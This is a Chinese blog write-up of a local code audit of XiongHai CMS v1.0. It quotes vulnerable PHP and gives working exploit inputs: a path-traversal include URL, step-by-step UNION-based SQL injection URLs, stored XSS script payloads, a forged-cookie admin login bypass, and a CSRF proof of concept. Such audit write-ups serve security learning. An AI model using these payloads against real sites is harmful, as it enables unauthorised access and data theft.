熊海CMS xhcms v1.0代码审计
有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0
本地环境安装好了之后,可以看到提示安装了锁文件

说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了,挨个看看
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
第一个疑似文件包含漏洞,对GET方式传进的参数r进行了参数过滤,但是存在目录穿越,黑盒尝试了一下使用点 反斜杠截断,无果,存在漏洞,但是只能包含本地php文件
创建一个phppinfo.php文件

本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含phpinfo.php
http://127.0.0.1/xhcms_v1.0/?r=../../phpinfo

成功包含
第二个疑似文件包含漏洞也是同样的利用方式,代码都是类似的:
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
再看一下疑似存在SQL注入的地方
$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
这里可以看到对于POST方式输入的参数使用了addslashes函数进行过滤,所以这里的注入是一个误报,看下一处疑似注入:
在editcolumn.php文件中,存在如下代码:
$id=$_GET['id'];
$type=$_GET['type']; if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
可以看到对于GET方式输入的id没有进行过滤,应该是开发者的遗漏,我们到本地网站上进行测试
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1
输入单引号之后页面报错
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27

我们知道后端的php代码,就直接使用union select 进行注入
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+
字段数为10,回显位置有2,6,3,4,8

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+
使用payload查询database()和user()

成功获取到了数据。
测试了一下后台的头像文件上传,上传正常的图片好像都不行

一直都是这个头像,尝试寻找XSS,CSRF和越权漏洞
if (isset($_GET["callback"])) {
if (preg_match("/^[\w_]+$/", $_GET["callback"])) {
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
} else {
echo json_encode(array(
'state'=> 'callback参数不合法'
));
}
} else {
echo $result;
}
这里使用了htmlspecialchars函数进行过滤,$callback参数不存在XSS漏洞,而result变量在前面是固定的几个选项,不能构造XSS
到联系的留言列表里面去,可以看到用户可以在这里留言,应该是我搭建的问题,导致用户不能提交留言,但是有一个管理员回复,我们到后台界面留言回复,进行XSS攻击。

使用payload:
<script>alert(1)</script>
<script>alert(/xss/);</script>
再到网站联系界面,可以看到成功弹窗


同时我们审查元素,可以看到XSS的payload在页面的元素中,对管理员回复留言并没有进行限制,导致XSS漏洞的产生

关于越权漏洞,因为只有admin一个用户,我们尝试可不可以不输入密码进入后台
在后台主页进行抓包:

可以看到Cookie里面有user=admin,很容易联想到会不会是user所对应的名字就是它对应的权限,测试之后发现不是,因为就一个用户,但是测试发现只要存在user,就能够进入后台,如我们先将cookie删除:

可以看到会将我们重定向至login界面
将cookie中的user改为一个并不存在的用户SpringBird,可以看到后台登录成功。


寻找CSRF漏洞,CSRF全程为跨站请求伪造,即可以劫持其他用户去进行一些请求。我们尝试劫持管理员的权限去删除文章
点击删除文章之后抓包

使用burpsuite自带的CSRF POC生成

在本地创建CSRF.html,访问之


可以看到出现了按钮,抓包的时候我们可以看到没有token验证,证明很有可能存在CSRF漏洞,这个时候浏览器还保存着管理员的身份信息,所以点击Submit就能够删除对应的文章

成功进行CSRF攻击。
继续努力吧。
参考链接:
http://foreversong.cn/archives/387
熊海CMS xhcms v1.0代码审计的更多相关文章
- 【转】寻找最好的笔记软件:海选篇 (v1.0)
原文网址:http://blog.sina.com.cn/s/blog_46dac66f01000b55.html 序言: 我见过的多数软件爱好者,无论是资深用户,还是初级用户,都有一个梦想:找到 ...
- 熊海cms v1.0 完全代码审计
很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...
- 熊海CMS_1.0 代码审计
熊海是一款小型的内容管理系统,1.0版本是多年前的版本了,所以漏洞还是比较多的,而且审计起来难度不大,非常适合入门,所以今天我进行这款cms的代码审计.程序安装后使用seay源代码审计系统打开,首先使 ...
- 【php代码审计】熊海cms1.0
0x01 环境安装 1. 熊海cms1.0 (http://js.down.chinaz.com/201503/xhcms_v1.0.rar) 2.seay代码审计工具 3. phpstudy (ph ...
- 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞
文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...
- 【转】寻找最好的笔记软件:三强篇(EverNote、Mybase、Surfulater) (v1.0) (
原文网址:http://blog.sina.com.cn/s/blog_46dac66f01000b57.html 寻找最好的笔记软件:三强篇(EverNote.Mybase.Surfulater) ...
- CathyCMS-后台管理v1.0
摘要: 最近开发CathyCMS系统作为练手项目,后台管理部分v1.0暂时告一段落.目前只包含了基本的登录.权限管理.频道管理.文章管理功能. 项目地址: https://github.com/cat ...
- Git异常:fatal: V1.0 cannot be resolved to branch.
GitHub实战系列汇总:http://www.cnblogs.com/dunitian/p/5038719.html ———————————————————————————————————————— ...
- 自己动手写计算器v1.0
今天突发奇想,想着看了还几个设计模式了,倒不如写点东西来实践它们.发现计算器这种就比较合适,打算随着设计模式的学习,会对计算器不断的做改进. 包括功能的增加和算法的改进.初学者难免犯错,希望大家不吝指 ...
随机推荐
- jdk+tomcat 文件下载
1.下载jdk+tomcat 链接:https://pan.baidu.com/s/1DQ-l2S4th9BoucWqAymmLg :密码: zdd3 备:tomcat是解压包,直接解压就能用,但需配 ...
- kafka生产者数据可靠性保证
为保证 producer 发送的数据,能可靠的发送到指定的 topic,topic 的每个 partition 收到 producer 发送的数据后,都需要向 producer 发送 ack(ackn ...
- ASCII、Unicode、UTF-8、UTF-8(without BOM)、UTF-16、UTF-32傻傻分不清
ASCII.Unicode.UTF-8.UTF-8(without BOM).UTF-16.UTF-32傻傻分不清 目录 ASCII.Unicode.UTF-8.UTF-8(without BOM). ...
- redis-server文件启动cmd一闪而过
工作上需要在本地装redis,所以就帮别人排查了一个问题,就是redis服务双击了之后不能起来,就是一个黑色的cmd框一闪而过,正常的是这样的: 然而,我当时第一次接触windows上的redis服务 ...
- cephonebox发布
前言 现在已经是2016年收官的一个月了,之前一直想做一个calamari的集成版本,之所以有这个想法,是因为,即使在已经打好包的情况下,因为各种软件版本的原因,造成很多人无法配置成功,calamar ...
- PL/SQL Developer 13注册码(亲测可用)
product code: 4vkjwhfeh3ufnqnmpr9brvcuyujrx3n3le serial Number: 226959 password: xs374ca
- Tomcat口令暴力猜解&&后台getshell
Tomcat环境搭建 windows系统xampp搭建tomcat linux yum搭建tomcat 修改tomcat目录下的conf/tomcat-users.xml文件开启管理后台口令认证 &l ...
- 应聘阿里,字节跳动美团90%会问到的JVM面试题! 史上最全系列!
Java 内存分配 • 寄存器:程序计数器,是线程私有的,就是一个指针,指向方法区中的方法字节码.• 静态域:static 定义的静态成员.• 常量池:编译时被确定并保存在 .class 文件中的(f ...
- 面试大厂,90%会被问到的Java面试题(附答案)
面向对象的三个特征 封装,继承,多态 多态的好处,代码中如何实现多态,虚拟机中如何实现多态 允许不同类对象对同一消息作出相应,好处如下: 可替换性:多态对已存在的代码具有可替换性 可扩充性:增加新的子 ...
- 简单几步就能把素材变成大片?老司机推荐Vegas
"素材编辑"一般分为两种,一种是对时间线素材长度和位置的编辑,另一种就是遮罩法操作. 第一种,裁剪素材(将素材在我们选定的位置一分为二),对时间线上的素材进行裁剪,有两种方法: 一 ...